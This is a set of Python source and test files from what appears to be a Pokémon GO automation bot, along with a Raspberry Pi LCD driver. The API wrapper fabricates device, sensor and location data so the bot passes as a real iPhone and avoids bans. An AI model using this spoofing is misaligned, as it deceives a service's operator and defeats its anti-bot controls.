    def test_should_display_no_terminal_log_title(self, mock_datetime):
        # _should_display should return False if both terminal_title and terminal_log are false
        # in configuration, even if we're past next_update.
        now = datetime.now()
        mock_datetime.now.return_value = now + timedelta(seconds=20)
        self.worker.next_update = now
        self.worker.terminal_log = False
        self.worker.terminal_title = False

        self.assertFalse(self.worker._should_display())

    @patch('pokemongo_bot.cell_workers.update_live_stats.datetime')
    def test_should_display_before_next_update(self, mock_datetime):
        now = datetime.now()
        mock_datetime.now.return_value = now - timedelta(seconds=20)
        self.worker.next_update = now

        self.assertFalse(self.worker._should_display())

    @patch('pokemongo_bot.cell_workers.update_live_stats.datetime')
    def test_should_display_after_next_update(self, mock_datetime):
        now = datetime.now()
        mock_datetime.now.return_value = now + timedelta(seconds=20)
        self.worker.next_update = now

        self.assertTrue(self.worker._should_display())

    @patch('pokemongo_bot.cell_workers.update_live_stats.datetime')
    def test_should_display_exactly_next_update(self, mock_datetime):
        now = datetime.now()
        mock_datetime.now.return_value = now
        self.worker.next_update = now

        self.assertTrue(self.worker._should_display())

    @patch('pokemongo_bot.cell_workers.update_live_stats.datetime')
    def test_compute_next_update(self, mock_datetime):
        now = datetime.now()
        mock_datetime.now.return_value = now
        old_next_display_value = self.worker.next_update
        self.worker._compute_next_update()

        self.assertNotEqual(self.worker.next_update, old_next_display_value)
        self.assertEqual(self.worker.next_update,
                         now + timedelta(seconds=self.config['min_interval']))

    @patch('pokemongo_bot.cell_workers.update_live_stats.stdout')
    @patch('pokemongo_bot.cell_workers.UpdateLiveStats._compute_next_update')
    def test_update_title_linux_cygwin(self, mock_compute_next_update, mock_stdout):
        self.worker._update_title('new title linux', 'linux')

        self.assertEqual(mock_stdout.write.call_count, 1)
        self.assertEqual(mock_stdout.write.call_args, call('\x1b]2;new title linux\x07'))
        self.assertEqual(mock_compute_next_update.call_count, 1)

        self.worker._update_title('new title linux2', 'linux2')

        self.assertEqual(mock_stdout.write.call_count, 2)
        self.assertEqual(mock_stdout.write.call_args, call('\x1b]2;new title linux2\x07'))
        self.assertEqual(mock_compute_next_update.call_count, 2)

        self.worker._update_title('new title cygwin', 'cygwin')

        self.assertEqual(mock_stdout.write.call_count, 3)
        self.assertEqual(mock_stdout.write.call_args, call('\x1b]2;new title cygwin\x07'))
        self.assertEqual(mock_compute_next_update.call_count, 3)

    @patch('pokemongo_bot.cell_workers.update_live_stats.stdout')
    @patch('pokemongo_bot.cell_workers.UpdateLiveStats._compute_next_update')
    def test_update_title_darwin(self, mock_compute_next_update, mock_stdout):
        self.worker._update_title('new title darwin', 'darwin')

        self.assertEqual(mock_stdout.write.call_count, 1)
        self.assertEqual(mock_stdout.write.call_args, call('\033]0;new title darwin\007'))
        self.assertEqual(mock_compute_next_update.call_count, 1)

    @unittest.skipUnless(_platform.startswith("win"), "requires Windows")
    @patch('pokemongo_bot.cell_workers.update_live_stats.ctypes')
    @patch('pokemongo_bot.cell_workers.UpdateLiveStats._compute_next_update')
    def test_update_title_win32(self, mock_compute_next_update, mock_ctypes):
        self.worker._update_title('new title win32', 'win32')

        self.assertEqual(mock_ctypes.windll.kernel32.SetConsoleTitleA.call_count, 1)
        self.assertEqual(mock_ctypes.windll.kernel32.SetConsoleTitleA.call_args,
                         call('new title win32'))
        self.assertEqual(mock_compute_next_update.call_count, 1)

    @patch('pokemongo_bot.cell_workers.update_live_stats.BaseTask.emit_event')
    @patch('pokemongo_bot.cell_workers.UpdateLiveStats._compute_next_update')
    def test_log_on_terminal(self, mock_compute_next_update, mock_emit_event):
        #self.worker._log_on_terminal('stats')

        self.assertEqual(mock_emit_event.call_count, 0)
        #self.assertEqual(mock_emit_event.call_args,
        #                 call('log_stats', data={'stats': 'stats', 'stats_raw':'stats_raw'}, formatted='{stats},{stats_raw}'))
        self.assertEqual(mock_compute_next_update.call_count, 0)

    def test_get_stats_line_player_stats_none(self):
        line = self.worker._get_stats_line(None)

        self.assertEqual(line, '')

    def test_get_stats_line_no_displayed_stats(self):
        self.worker.displayed_stats = []
        line = self.worker._get_stats_line(self.player_stats)

        self.assertEqual(line, '')

    def test_get_stats_line(self):
        self.mock_metrics()

        line = self.worker._get_stats_line(self.player_stats)
        expected = 'Login | Username | Evolved 12 pokemon | Encountered 130 pokemon | ' \
                   'Uptime : 15:42:13 | Caught 120 pokemon | Visited 220 stops | ' \
                   '42.05km walked | Level 25 | Earned 24,069 Stardust | ' \
                   '87,500 / 150,000 XP (58%) | 1,337 XP/h | Threw 145 pokeballs | ' \
                   'Highest CP pokemon : highest_cp | Level 25 (87,500 / 150,000, 58%) | ' \
                   '+424,242 XP | Encountered 3 new pokemon | ' \
                   'Most perfect pokemon : most_perfect | ' \
                   'Encountered 130 pokemon, 120 caught, 30 released, 12 evolved, ' \
                   '3 never seen before | Released 30 pokemon | 75 pokemon/h'

        self.assertEqual(line, expected)






# __init__.py
from mock import MagicMock

from pokemongo_bot.event_manager import EventManager
from pokemongo_bot.api_wrapper import ApiWrapper, ApiRequest
from pokemongo_bot import PokemonGoBot

import json

def get_fake_conf():
    class ConfObj:
        pass

    conf_dict = json.load(open('configs/config.json.example'))
    conf_obj = ConfObj()
    for key, value in conf_dict.items():
        setattr(conf_obj, key, value)

    return conf_obj


class FakeApi(ApiWrapper):
    def __init__(self):
        super(FakeApi, self).__init__(get_fake_conf())

    def create_request(self, return_value='mock return'):
        request = ApiWrapper.create_request(self)
        request.can_call = MagicMock(return_value=True)
        request._call = MagicMock(return_value=return_value)
        return request

class FakeBot(PokemonGoBot):
    def __init__(self):
        self.config = MagicMock(websocket_server_url=False, show_events=False)
        self.api = FakeApi()
        self.event_manager = EventManager()
        self._setup_event_system()

    def updateConfig(self, conf):
        self.config.__dict__.update(conf)






import unittest
import json
from pokemongo_bot.base_task import BaseTask

class FakeTask(BaseTask):
    def initialize(self):
        self.foo = 'foo'

    def work(self):
        pass

class FakeTaskWithoutInitialize(BaseTask):
    def work(self):
        pass

class FakeTaskWithoutWork(BaseTask):
    pass

class BaseTaskTest(unittest.TestCase):
    def setUp(self):
        self.bot = {}
        self.config = {}

    def test_initialize_called(self):
        task = FakeTask(self.bot, self.config)
        self.assertIs(task.bot, self.bot)
        self.assertIs(task.config, self.config)
        self.assertEquals(task.foo, 'foo')

    def test_does_not_throw_without_initialize(self):
        FakeTaskWithoutInitialize(self.bot, self.config)

    def test_throws_without_work(self):
        self.assertRaisesRegexp(
            NotImplementedError,
            'Missing "work" method',
            FakeTaskWithoutWork,
            self.bot,
            self.config
        )






# coding: utf-8
import unittest
from mock import MagicMock

from geopy.exc import GeocoderQueryError
from tests import FakeBot


class TestLocationParser(unittest.TestCase):

    def setUp(self):
        self.bot = FakeBot()
        config = dict(
            test=False,
            location='Paris',
            location_cache=False,
            username='Foobar',
        )
        self.bot.updateConfig(config)

    def test_named_position(self):
        position = (42, 42, 0)
        self.bot.get_pos_by_name = MagicMock(return_value=position)
        self.bot._set_starting_position()
        self.assertEqual(self.bot.position, position)

    def test_named_position_utf8(self):
        position = (42, 42, 0)
        self.bot.config.location = u"àéùƱǣЊ؍ ข᠃"
        self.bot.get_pos_by_name = MagicMock(return_value=position)

        self.bot._set_starting_position()
        self.assertEqual(self.bot.position, position)






import unittest

from pokemongo_bot.cell_workers import NicknamePokemon
from pokemongo_bot.inventory import Pokemon


class NicknamePokemonTest(unittest.TestCase):
    def test_nickname_generation(self):
        # basic
        self.assertNicks('', ['', ''])
        self.assertNicks('{pokemon}', ['', ''])
        self.assertNicks('{name}', ['', ''])
        self.assertNicks('{Name}', ['', ''])
        self.assertNicks('{id}', ['42', '19'])
        self.assertNicks('{cp}', ['653', '106'])
        self.assertNicks('{CP}', ['653', '106'])
        self.assertNicks('{iv_attack}', ['9', '6'])
        self.assertNicks('{iv_defense}', ['4', '14'])
        self.assertNicks('{iv_stamina}', ['8', '0'])
        self.assertNicks('{iv_ads}', ['9/4/8', '6/14/0'])
        self.assertNicks('{iv_ads_hex}', ['948', '6E0'])
        self.assertNicks('{iv_sum}', ['21', '20'])
        self.assertNicks('{iv_pct}', ['047', '044'])
        self.assertNicks('{iv_pct2}', ['46', '44'])
        self.assertNicks('{iv_pct1}', ['4', '4'])
        self.assertNicks('{base_attack}', ['164', '92'])
        self.assertNicks('{base_defense}', ['164', '86'])
        self.assertNicks('{base_stamina}', ['150', '60'])
        self.assertNicks('{base_ads}', ['164/164/150', '92/86/60'])
        self.assertNicks('{attack}', ['173', '98'])
        self.assertNicks('{defense}', ['168', '100'])
        self.assertNicks('{stamina}', ['158', '60'])
        self.assertNicks('{sum_ads}', ['173/168/158', '98/100/60'])
        self.assertNicks('{ivcp_pct}', ['049', '038'])
        self.assertNicks('{ivcp_pct2}', ['48', '38'])
        self.assertNicks('{ivcp_pct1}', ['4', '3'])
        self.assertNicks('{fast_attack_char}', ['L', 'n'])
        self.assertNicks('{charged_attack_char}', ['h', 'n'])
        self.assertNicks('{attack_code}', ['Lh', 'nn'])
        self.assertNicks('{attack_pct}', ['047', '084'])
        self.assertNicks('{attack_pct2}', ['47', '83'])
        self.assertNicks('{attack_pct1}', ['4', '8'])
        self.assertNicks('{defense_pct}', ['082', '060'])
        self.assertNicks('{defense_pct2}', ['81', '60'])
        self.assertNicks('{defense_pct1}', ['7', '5'])

        # complex
        self.assertNicks('{name:2}', ['', ''])
        self.assertNicks('{pokemon.iv:.2%}', ['47.00%', '44.00%'])
        self.assertNicks('{pokemon.fast_attack}', ['Wing Attack', 'Tackle'])
        self.assertNicks('{pokemon.charged_attack}', ['Ominous Wind', 'Hyper Fang'])
        self.assertNicks('{pokemon.fast_attack.type}', ['Flying', 'Normal'])
        self.assertNicks('{pokemon.fast_attack.dps:.2f}', ['12.00', '10.91'])
        self.assertNicks('{pokemon.fast_attack.dps:.0f}', ['12', '11'])
        self.assertNicks('{iv_pct}_{iv_ads}', ['047_9/4/8', '044_6/14/0'])
        self.assertNicks('{iv_pct}_{iv_ads_hex}', ['047_948', '044_6E0'])
        self.assertNicks(
            '{ivcp_pct2}_{iv_pct2}_{iv_ads}',
            ['48_46_9/4/8', '38_44_6/14/0'])
        self.assertNicks(
            '{ivcp_pct2}_{iv_pct2}_{iv_ads_hex}',
            ['48_46_948', '38_44_6E0'])
        self.assertNicks(
            '{attack_code}{attack_pct1}{defense_pct1}{ivcp_pct1}{name}',
            ['Lh474Golbat', 'nn853Rattata'])

    #
    def setUp(self):
        self.bot = {}
        self.config = {}
        self.task = NicknamePokemon(self.bot, self.config)
        self.assertIs(self.task.bot, self.bot)
        self.assertIs(self.task.config, self.config)

        self.pokemons = [
            Pokemon({
                "num_upgrades": 2, "move_1": 210, "move_2": 69, "pokeball": 2,
                "favorite": 1, "pokemon_id": 42, "battles_attacked": 4,
                "stamina": 76, "stamina_max": 76, "individual_attack": 9,
                "individual_defense": 4, "individual_stamina": 8,
                "cp_multiplier": 0.4627983868122101,
                "additional_cp_multiplier": 0.018886566162109375,
                "cp": 653, "nickname": "Golb", "id": 13632861873471324}),
            Pokemon({
                "move_1": 221, "move_2": 129, "pokemon_id": 19, "cp": 106,
                "individual_attack": 6, "stamina_max": 22, "individual_defense": 14,
                "cp_multiplier": 0.37523558735847473, "id": 7841053399}),
        ]

    def assertNicks(self, template, expected_results):
        real_results = [self.task._generate_new_nickname(p, template)
                        for p in self.pokemons]
        self.assertListEqual(list(expected_results), real_results)

        # helper for test generation
        # print "self.assertNicks('{}', {})".format(template, real_results)






import unittest
from mock import MagicMock, patch
from timeout_decorator import timeout, TimeoutError

from tests import FakeApi, get_fake_conf

from pgoapi import PGoApi
from pgoapi.exceptions import NotLoggedInException, ServerBusyOrOfflineException, NoPlayerPositionSetException, EmptySubrequestChainException
from pokemongo_bot.api_wrapper import ApiWrapper

class TestApiWrapper(unittest.TestCase):
    def test_raises_not_logged_in_exception(self):
        api = ApiWrapper(get_fake_conf())
        api.set_position(*(42, 42, 0))
        request = api.create_request()
        request.get_inventory(test='awesome')
        with self.assertRaises(NotLoggedInException):
            request.call()

    def test_api_call_with_no_requests_set(self):
        request = ApiWrapper(get_fake_conf()).create_request()
        with self.assertRaises(EmptySubrequestChainException):
            request.call()

    def test_api_wrong_request(self):
        request = ApiWrapper(get_fake_conf()).create_request()
        with self.assertRaises(AttributeError):
            request.wrong_request()

    def test_raises_no_player_position_set_exception(self):
        request = ApiWrapper(get_fake_conf()).create_request()
        request.get_inventory(test='awesome')
        with self.assertRaises(NoPlayerPositionSetException):
            request.call()

    @patch('pokemongo_bot.api_wrapper.sleep')
    def test_api_server_is_unreachable_raises_server_busy_or_offline_exception(self, sleep):
        sleep.return_value = True # we don't need to really sleep
        request = FakeApi().create_request('Wrong Value')
        request.get_inventory()
        # we expect an exception because the "server" isn't returning a valid response
        with self.assertRaises(ServerBusyOrOfflineException):
            request.call()

    def test_mocked_call(self):
        request = FakeApi().create_request(True)
        request.is_response_valid = MagicMock(return_value=True)
        request.get_inventory(test='awesome')
        result = request.call()
        self.assertTrue(result)

    def test_return_value_is_not_valid(self):
        api = FakeApi()
        def returnRequest(ret_value):
            request = api.create_request(ret_value)
            request.get_inventory(test='awesome')
            return request

        wrong_return_values = [
            None,
            False,
            {},
            {'responses': {}},
            {'status_code': 0},
            {'responses': {'GET_INVENTORY_OR_NOT': {}}, 'status_code': 0}
        ]
        for wrong in wrong_return_values:
            request = returnRequest(wrong)
            request_callers = request._pop_request_callers() # we can pop because we do no call

            is_valid = request.is_response_valid(wrong, request_callers)
            self.assertFalse(is_valid, 'return value {} is valid somehow ?'.format(wrong))

    def test_return_value_is_valid(self):
        request = FakeApi().create_request() # we set the return value below
        request.get_inventory(test='awesome')

        request_caller = request.request_callers[0] # only one request
        self.assertEqual(request_caller.upper(), 'GET_INVENTORY')

        good_return_value = {'responses': {request_caller.upper(): {}}, 'status_code': 0}
        request._call.return_value = good_return_value

        result = request.call()
        self.assertEqual(result, good_return_value)
        self.assertEqual(len(request.request_callers), 0, 'request_callers must be empty')

    def test_multiple_requests(self):
        request = FakeApi().create_request()
        request.get_inventory(test='awesome')
        request.fort_details()

        good_return_value = {'responses': {'GET_INVENTORY': {}, 'FORT_DETAILS': {}}, 'status_code': 0}
        request._call.return_value = good_return_value

        result = request.call()
        self.assertEqual(result, good_return_value)

    @timeout(1)
    def test_api_call_throttle_should_pass(self):
        request = FakeApi().create_request()
        request.is_response_valid = MagicMock(return_value=True)
        request.requests_per_seconds = 5

        for i in range(request.requests_per_seconds):
            request.call()

    @timeout(1) # expects a timeout
    def test_api_call_throttle_should_fail(self):
        request = FakeApi().create_request()
        request.is_response_valid = MagicMock(return_value=True)
        request.requests_per_seconds = 5

        with self.assertRaises(TimeoutError):
            for i in range(request.requests_per_seconds * 2):
                request.call()

    @patch('pokemongo_bot.api_wrapper.ApiRequest.is_response_valid')
    def test_api_direct_call(self, mock_method):
        mock_method.return_value = True

        result = FakeApi().get_inventory()
        self.assertEqual(result, 'mock return')






import unittest
import json
import os
from pokemongo_bot import PokemonGoBot, ConfigException, MismatchTaskApiVersion, TreeConfigBuilder, PluginLoader, BaseTask
from pokemongo_bot.cell_workers import HandleSoftBan, CatchPokemon
from pokemongo_bot.test.resources.plugin_fixture import FakeTask, UnsupportedApiTask

def convert_from_json(str):
    return json.loads(str)

class TreeConfigBuilderTest(unittest.TestCase):
    def setUp(self):
        self.bot = {}

    def test_should_throw_on_no_type_key(self):
        obj = convert_from_json("""[{
                "bad_key": "foo"
            }]""")

        builder = TreeConfigBuilder(self.bot, obj)

        self.assertRaisesRegexp(
            ConfigException,
            "No type found for given task",
            builder.build)

    def test_should_throw_on_non_matching_type(self):
        obj = convert_from_json("""[{
                "type": "foo"
            }]""")

        builder = TreeConfigBuilder(self.bot, obj)

        self.assertRaisesRegexp(
            ConfigException,
            "No worker named foo defined",
            builder.build)

    def test_should_throw_on_wrong_evolve_task_name(self):
        obj = convert_from_json("""[{
                "type": "EvolveAll"
            }]""")

        builder = TreeConfigBuilder(self.bot, obj)

        self.assertRaisesRegexp(
            ConfigException,
            "The EvolveAll task has been renamed to EvolvePokemon",
            builder.build)

    def test_creating_worker(self):
        obj = convert_from_json("""[{
                "type": "HandleSoftBan"
            }]""")

        builder = TreeConfigBuilder(self.bot, obj)
        tree = builder.build()

        self.assertIsInstance(tree[0], HandleSoftBan)
        self.assertIs(tree[0].bot, self.bot)

    def test_creating_two_workers(self):
        obj = convert_from_json("""[{
                "type": "HandleSoftBan"
            }, {
                "type": "CatchPokemon"
            }]""")

        builder = TreeConfigBuilder(self.bot, obj)
        tree = builder.build()

        self.assertIsInstance(tree[0], HandleSoftBan)
        self.assertIs(tree[0].bot, self.bot)
        self.assertIsInstance(tree[1], CatchPokemon)
        self.assertIs(tree[1].bot, self.bot)

    def test_task_with_config(self):
        obj = convert_from_json("""[{
                "type": "IncubateEggs",
                "config": {
                    "longer_eggs_first": true
                }
            }]""")

        builder = TreeConfigBuilder(self.bot, obj)
        tree = builder.build()
        self.assertTrue(tree[0].config.get('longer_eggs_first', False))

    def test_disabling_task(self):
        obj = convert_from_json("""[{
                "type": "HandleSoftBan",
                "config": {
                    "enabled": false
                }
            }, {
                "type": "CatchPokemon",
                "config": {
                    "enabled": true
                }
            }]""")

        builder = TreeConfigBuilder(self.bot, obj)
        tree = builder.build()

        self.assertTrue(len(tree) == 1)
        self.assertIsInstance(tree[0], CatchPokemon)

    def test_load_plugin_task(self):
        package_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'resources', 'plugin_fixture')
        plugin_loader = PluginLoader()
        plugin_loader.load_plugin(package_path)

        obj = convert_from_json("""[{
            "type": "plugin_fixture.FakeTask"
        }]""")

        builder = TreeConfigBuilder(self.bot, obj)
        tree = builder.build()
        result = tree[0].work()
        self.assertEqual(result, 'FakeTask')

    def setupUnsupportedBuilder(self):
        package_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), '..', 'pokemongo_bot', 'test', 'resources', 'plugin_fixture')
        plugin_loader = PluginLoader()
        plugin_loader.load_plugin(package_path)

        obj = convert_from_json("""[{
            "type": "plugin_fixture.UnsupportedApiTask"
        }]""")

        return TreeConfigBuilder(self.bot, obj)

    def test_task_version_too_high(self):
        builder = self.setupUnsupportedBuilder()

        previous_version = BaseTask.TASK_API_VERSION
        BaseTask.TASK_API_VERSION = 1

        self.assertRaisesRegexp(
            MismatchTaskApiVersion,
            "Task plugin_fixture.UnsupportedApiTask only works with task api version 2, you are currently running version 1. Do you need to update the bot?",
            builder.build)

        BaseTask.TASK_API_VERSION = previous_version

    def test_task_version_too_low(self):
        builder = self.setupUnsupportedBuilder()

        previous_version = BaseTask.TASK_API_VERSION
        BaseTask.TASK_API_VERSION = 3

        self.assertRaisesRegexp(
            MismatchTaskApiVersion,
            "Task plugin_fixture.UnsupportedApiTask only works with task api version 2, you are currently running version 3. Is there a new version of this task?",
            builder.build)

        BaseTask.TASK_API_VERSION = previous_version






import warnings
import logging


def log(msg, color=None):
    warnings.simplefilter('always', DeprecationWarning)
    message = (
        "Using logger.log is deprecated and will be removed soon. "
        "We recommend that you try to log as little as possible "
        "and use the event system to send important messages "
        "(they become logs and websocket messages) automatically). "
        "If you don't think your message should go to the websocket "
        "server but it's really necessary, use the self.logger variable "
        "inside any class inheriting from BaseTask to log."

    )

    logger = logging.getLogger('generic')
    logger.info(msg)
    warnings.warn(message, DeprecationWarning)






import time
import logging
import random, base64, struct
import hashlib
import os
import json
from pgoapi.exceptions import (ServerSideRequestThrottlingException,
                               NotLoggedInException, ServerBusyOrOfflineException,
                               NoPlayerPositionSetException, EmptySubrequestChainException,
                               UnexpectedResponseException)
from pgoapi.pgoapi import PGoApi, PGoApiRequest, RpcApi
from pgoapi.protos.POGOProtos.Networking.Requests.RequestType_pb2 import RequestType
from pgoapi.protos.POGOProtos.Networking.Envelopes.Signature_pb2 import Signature
from pgoapi.utilities import get_time
from pokemongo_bot.datastore import Datastore
from human_behaviour import sleep, gps_noise_rng
from pokemongo_bot.base_dir import _base_dir

class PermaBannedException(Exception):
    pass


class ApiWrapper(Datastore, PGoApi):
    DEVICE_ID = None

    def __init__(self, config=None):
        PGoApi.__init__(self)
        # Set to default, just for CI...
        self.actual_lat, self.actual_lng, self.actual_alt = PGoApi.get_position(self)
        self.noised_lat, self.noised_lng, self.noised_alt = self.actual_lat, self.actual_lng, self.actual_alt

        self.useVanillaRequest = False
        self.config = config

        if self.config is None or self.config.username is None:
            ApiWrapper.DEVICE_ID = "3d65919ca1c2fc3a8e2bd7cc3f974c34"
            return
        file_salt = None
        did_path = os.path.join(_base_dir, 'data', 'deviceid-%s.txt' % self.config.username)
        if os.path.exists(did_path):
            file_salt = open(did_path, 'r').read()
        if self.config is not None:
            key_string = self.config.username
            if file_salt is not None:
                # Config and file are set, so use those.
                ApiWrapper.DEVICE_ID = hashlib.md5(key_string + file_salt).hexdigest()
            else:
                # Config is set, but file isn't, so make it.
                rand_float = random.SystemRandom().random()
                salt = base64.b64encode((struct.pack('!d', rand_float)))
                ApiWrapper.DEVICE_ID = hashlib.md5(key_string + salt).hexdigest()
                with open(did_path, "w") as text_file:
                    text_file.write("{0}".format(salt))
        else:
            if file_salt is not None:
                # No config, but there's a file, use it.
                ApiWrapper.DEVICE_ID = hashlib.md5(file_salt).hexdigest()
            else:
                # No config or file, so make up a reasonable default.
                ApiWrapper.DEVICE_ID = "3d65919ca1c2fc3a8e2bd7cc3f974c34"

    def create_request(self):
        RequestClass = ApiRequest
        if self.useVanillaRequest:
            RequestClass = PGoApiRequest

        return RequestClass(
            self,
            self._position_lat,
            self._position_lng,
            self._position_alt
        )

    def login(self, *args):
        # login needs base class "create_request"
        self.useVanillaRequest = True
        try:
            ret_value = PGoApi.login(self, *args)
        finally:
            # cleanup code
            self.useVanillaRequest = False
        return ret_value

    def set_position(self, lat, lng, alt=None):
        self.actual_lat = lat
        self.actual_lng = lng
        if None != alt:
            self.actual_alt = alt
        else:
            alt = self.actual_alt

        if self.config.replicate_gps_xy_noise:
            lat_noise = gps_noise_rng(self.config.gps_xy_noise_range)
            lng_noise = gps_noise_rng(self.config.gps_xy_noise_range)
            lat = lat + lat_noise
            lng = lng + lng_noise
        if self.config.replicate_gps_z_noise:
            alt_noise = gps_noise_rng(self.config.gps_z_noise_range)
            alt = alt + alt_noise

        self.noised_lat, self.noised_lng, self.noised_alt = lat, lng, alt

        PGoApi.set_position(self, lat, lng, alt)

    def get_position(self):
        return (self.actual_lat, self.actual_lng, self.actual_alt)


class ApiRequest(PGoApiRequest):
    def __init__(self, *args):
        PGoApiRequest.__init__(self, *args)
        self.logger = logging.getLogger(__name__)
        self.request_callers = []
        self.last_api_request_time = None
        self.requests_per_seconds = 2

    def can_call(self):
        if not self._req_method_list:
            raise EmptySubrequestChainException()

        if (self._position_lat is None) or (self._position_lng is None) or (self._position_alt is None):
            raise NoPlayerPositionSetException()

        if self._auth_provider is None or not self._auth_provider.is_login():
            self.log.info('Not logged in')
            raise NotLoggedInException()

        return True

    def _call(self):
        # Need fill in the location_fix
        location_fix = [Signature.LocationFix(
            provider='fused',
            timestamp_snapshot=(get_time(ms=True) - RpcApi.START_TIME) - random.randint(100, 300),
            latitude=self._position_lat,
            longitude=self._position_lng,
            horizontal_accuracy=round(random.uniform(50, 250), 7),
            altitude=self._position_alt,
            vertical_accuracy=random.randint(2, 5),
            provider_status=3,
            location_type=1
        )]

        sensor_info = Signature.SensorInfo(
            timestamp_snapshot=(get_time(ms=True) - RpcApi.START_TIME) - random.randint(200, 400),
            magnetometer_x=random.uniform(-0.139084026217, 0.138112977147),
            magnetometer_y=random.uniform(-0.2, 0.19),
            magnetometer_z=random.uniform(-0.2, 0.4),
            angle_normalized_x=random.uniform(-47.149471283, 61.8397789001),
            angle_normalized_y=random.uniform(-47.149471283, 61.8397789001),
            angle_normalized_z=random.uniform(-47.149471283, 5),
            accel_raw_x=random.uniform(0.0729667818829, 0.0729667818829),
            accel_raw_y=random.uniform(-2.788630499244109, 3.0586791383810468),
            accel_raw_z=random.uniform(-0.34825887123552773, 0.19347580173737935),
            gyroscope_raw_x=random.uniform(-0.9703824520111084, 0.8556089401245117),
            gyroscope_raw_y=random.uniform(-1.7470258474349976, 1.4218578338623047),
            gyroscope_raw_z=random.uniform(-0.9681901931762695, 0.8396636843681335),
            accel_normalized_x=random.uniform(-0.31110161542892456, 0.1681540310382843),
            accel_normalized_y=random.uniform(-0.6574847102165222, -0.07290205359458923),
            accel_normalized_z=random.uniform(-0.9943905472755432, -0.7463029026985168),
            accelerometer_axes=3
        )
        device_info = Signature.DeviceInfo(
            device_id=ApiWrapper.DEVICE_ID,
            device_brand='Apple',
            device_model='iPhone',
            device_model_boot='iPhone8,2',
            hardware_manufacturer='Apple',
            hardware_model='N66AP',
            firmware_brand='iPhone OS',
            firmware_type='9.3.3'
        )
        activity_status = Signature.ActivityStatus(
            # walking=True,
            # stationary=True,
            # automotive=True,
            # tilting=True
        )
        signature = Signature(
            location_fix=location_fix,
            sensor_info=sensor_info,
            device_info=device_info,
            activity_status=activity_status,
            unknown25=-8537042734809897855
        )
        return PGoApiRequest.call(self, signature)

    def _pop_request_callers(self):
        r = self.request_callers
        self.request_callers = []
        return [i.upper() for i in r]

    def is_response_valid(self, result, request_callers):
        if not result or result is None or not isinstance(result, dict):
            return False

        if not 'responses' in result or not 'status_code' in result:
            return False

        if not isinstance(result['responses'], dict):
            return False

        try:
            # Permaban symptom is empty response to GET_INVENTORY and status_code = 3
            if result['status_code'] == 3 and 'GET_INVENTORY' in request_callers and not result['responses']['GET_INVENTORY']:
                raise PermaBannedException
        except KeyError:
            # Still wrong
            return False

        # the response can still programatically be valid at this point
        # but still be wrong. we need to check if the server did sent what we asked it
        for request_caller in request_callers:
            if not request_caller in result['responses']:
                return False

        return True

    def call(self, max_retry=15):
        request_callers = self._pop_request_callers()
        if not self.can_call():
            return False  # currently this is never ran, exceptions are raised before

        request_timestamp = None
        api_req_method_list = self._req_method_list
        result = None
        try_cnt = 0
        throttling_retry = 0
        unexpected_response_retry = 0
        while True:
            request_timestamp = self.throttle_sleep()
            # self._call internally clear this field, so save it
            self._req_method_list = [req_method for req_method in api_req_method_list]
            should_throttle_retry = False
            should_unexpected_response_retry = False
            try:
                result = self._call()
            except ServerSideRequestThrottlingException:
                should_throttle_retry = True
            except UnexpectedResponseException:
                should_unexpected_response_retry = True

            if should_throttle_retry:
                throttling_retry += 1
                if throttling_retry >= max_retry:
                    raise ServerSideRequestThrottlingException('Server throttled too many times')
                sleep(1)  # huge sleep ?
                continue  # skip response checking

            if should_unexpected_response_retry:
                unexpected_response_retry += 1
                if unexpected_response_retry >= 5:
                    self.logger.warning(
                        'Server is not responding correctly to our requests.  Waiting for 30 seconds to reconnect.')
                    sleep(30)
                else:
                    sleep(2)
                continue

            if not self.is_response_valid(result, request_callers):
                try_cnt += 1
                if try_cnt > 3:
                    self.logger.warning(
                        'Server seems to be busy or offline - try again - {}/{}'.format(try_cnt, max_retry))
                if try_cnt >= max_retry:
                    raise ServerBusyOrOfflineException()
                sleep(1)
            else:
                break

        self.last_api_request_time = request_timestamp
        return result

    def __getattr__(self, func):
        if func.upper() in RequestType.keys():
            self.request_callers.append(func)
        return PGoApiRequest.__getattr__(self, func)

    def throttle_sleep(self):
        now_milliseconds = time.time() * 1000
        required_delay_between_requests = 1000 / self.requests_per_seconds

        difference = now_milliseconds - (self.last_api_request_time if self.last_api_request_time else 0)

        if self.last_api_request_time != None and difference < required_delay_between_requests:
            sleep_time = required_delay_between_requests - difference
            time.sleep(sleep_time / 1000)

        return now_milliseconds






class WorkerResult(object):
    RUNNING = 'RUNNING'
    SUCCESS = 'SUCCESS'
    ERROR = 'ERROR'






# -*- coding: utf-8 -*-
"""
Compiled, mashed and generally mutilated 2014-2015 by Denis Pleic
Made available under GNU GENERAL PUBLIC LICENSE
# Modified Python I2C library for Raspberry Pi
# as found on http://www.recantha.co.uk/blog/?p=4849
# Joined existing 'i2c_lib.py' and 'lcddriver.py' into a single library
# added bits and pieces from various sources
# By DenisFromHR (Denis Pleic)
# 2015-02-10, ver 0.1
"""
import os
from itertools import islice
from time import *

# This import is NOT available on Mac OS X, check for ARM OS before loading
if (os.name()).lower() == 'arm':
    import smbus


class i2c_device:
    def __init__(self, addr, port=1):
        self.addr = addr
        self.bus = smbus.SMBus(port)

    # Write a single command
    def write_cmd(self, cmd):
        self.bus.write_byte(self.addr, cmd)
        sleep(0.0001)

    # Write a command and argument
    def write_cmd_arg(self, cmd, data):
        self.bus.write_byte_data(self.addr, cmd, data)
        sleep(0.0001)

    # Write a block of data
    def write_block_data(self, cmd, data):
        self.bus.write_block_data(self.addr, cmd, data)
        sleep(0.0001)

    # Read a single byte
    def read(self):
        return self.bus.read_byte(self.addr)

    # Read
    def read_data(self, cmd):
        return self.bus.read_byte_data(self.addr, cmd)

    # Read a block of data
    def read_block_data(self, cmd):
        return self.bus.read_block_data(self.addr, cmd)


# LCD Address
# ADDRESS = 0x27
LCD_WIDTH = 20
LCD_HEIGHT = 2
LCD_CHARS = [0x40, 0x48, 0x50, 0x58, 0x60, 0x68, 0x70, 0x78]  # Address position for custom chars
# Use char generator here: https://omerk.github.io/lcdchargen/ or http://www.quinapalus.com/hd44780udg.html
# commands
LCD_CLEARDISPLAY = 0x01
LCD_RETURNHOME = 0x02
LCD_ENTRYMODESET = 0x04
LCD_DISPLAYCONTROL = 0x08
LCD_CURSORSHIFT = 0x10
LCD_FUNCTIONSET = 0x20
LCD_SETCGRAMADDR = 0x40
LCD_SETDDRAMADDR = 0x80

# flags for display entry mode
LCD_ENTRYRIGHT = 0x00
LCD_ENTRYLEFT = 0x02
LCD_ENTRYSHIFTINCREMENT = 0x01
